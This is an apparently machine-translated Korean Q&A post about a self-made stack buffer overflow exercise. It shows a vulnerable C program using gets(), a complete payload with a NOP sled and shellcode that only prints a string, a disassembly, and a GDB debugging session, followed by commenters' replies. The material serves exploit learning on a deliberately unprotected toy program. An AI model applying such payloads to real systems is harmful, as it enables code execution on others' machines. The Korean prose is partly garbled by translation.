몇 일 전 나는 x86 시스템에서 버퍼 오버 플로우 공격을 테스트하는 간단한 코드를 코딩했습니다. 간단하게 유지하기 위해 ASLR과 NX를 비활성화하여 별난 행동을 유발할 수있는 보호 장치가 없습니다.버퍼 오버 플로우 악용 문제
이 내 C 코드가 악용하는 것입니다 : 나는 또한 단지 문자열을 출력 내 자신의 쉘 코드를 작성
#include <stdio.h>
void read_txt(){
char txt[64];
printf("Write something:");
gets(txt);
}
int main(){
read_txt();
return 0;
}
. 내가 아는 한 페이로드는 이와 같아야하고, NOP 명령 + 쉘 코드로 버퍼를 채우고, EBP 레지스터를 덮어 쓰려면 0x41414141 (AAAA)을 추가하고, 마지막으로 NOP의 중간을 가리키는 주소로 리턴 주소를 오버라이드한다.
사실 그것은 그런 식으로 작동하지 않고 다음과 같이 내 페이로드는 다음과 같습니다
[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]
1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address
이 GDB에 작품을 악용하지만 프로그램에 직접 페이로드를 전달하는 경우 실패하고 나는 문제가 있다고 생각 프로그램이 gets() 함수를 실행하기 직전에 disasembler가 의 명령을 그대로두면 esp가 ebp를 가리키고 오류가 발생합니다.
이
() 함수 read_txt의 분해입니다 :0x0804844c <+0>: push %ebp
0x0804844d <+1>: mov %esp,%ebp
0x0804844f <+3>: sub $0x44,%esp
0x08048452 <+6>: movl $0x8048510,(%esp)
0x08048459 <+13>: call 0x8048320 <[email protected]>
0x0804845e <+18>: lea -0x40(%ebp),%eax
0x08048461 <+21>: mov %eax,(%esp)
0x08048464 <+24>: call 0x8048330 <[email protected]>
0x08048469 <+29>: leave
0x0804846a <+30>: ret
그리고 이것은 GDB에 악용의 실행이다 : 그것은 같은 0x90909090에 EBP 점을 가지고 있기 때문에 것을
가(gdb) x/20x $esp
0xbffff47c: 0xbffff480 0x90909090 0x90909090 0x90909090
0xbffff48c: 0x90909090 0xc0319090 0xc931db31 0x04b0d231
0xbffff49c: 0x206801b3 0x6820293b 0x63657368 0x69482068
0xbffff4ac: 0x6f486867 0xe189616c 0x80cd0fb2 0xdb3101b0
0xbffff4bc: 0x41414141 0xbffff489 0xbffff489 0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.
0xbffff489 in ??()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ??()
(gdb)
공지 사항 주소를 오버라이드하고, 쉘 코드 실행 문자열이 페이로드에 포함되어 있음을 확인하십시오.
내 질문은 NOP 슬라이드로 돌아 오는 주소를 가리 키기 전에이 문제를 피하기 위해 EBP를 어디에서 가리킬 수 있습니까? 또한 보조 질문으로 내가 64 바이트 버퍼를 NOP + 쉘 코드로 채울 수없는 이유는 무엇입니까?
감사합니다.
가 왜 AAAA를 추가하는 것과 같은 문제에 직면 사람들을 위해 도움이 스택 희망에 밀어 넣을 수있는 환경 변수를 방지 할 수 있습니다? 어떻게 든 파생 된 유효한 반송 주소가 필요합니다. 그렇게하기 위해 오래된 것을 점검하여 재미와 이익을 위해 스택을 다시 스매싱합니다. 또는 착취 기술을 읽은 것처럼 보인다고해서 관련 섹션을 확인하십시오. – gnometorule
내 버퍼는 64 바이트이어야하지만 실제로는 4 바이트가 ebp에 도달하기 위해 추가 된 패딩입니다. – Nucklear
"NOP + 쉘 코드가 64 바이트를 채우는 경우 작동하지 않습니다."NOP와 쉘 코드가 64B 이상일 때 정확히 무엇이 발생하며 특별히 'AAAA'를 선택하게 된 이유는 무엇입니까? 또한, 당신이 여기서 예상하고있는 행동은 무엇입니까? 프로그램을 장악하고 싶습니까? 아니면 그냥 몇 가지 일을하고 나머지 실행과 함께 계속? – user3155701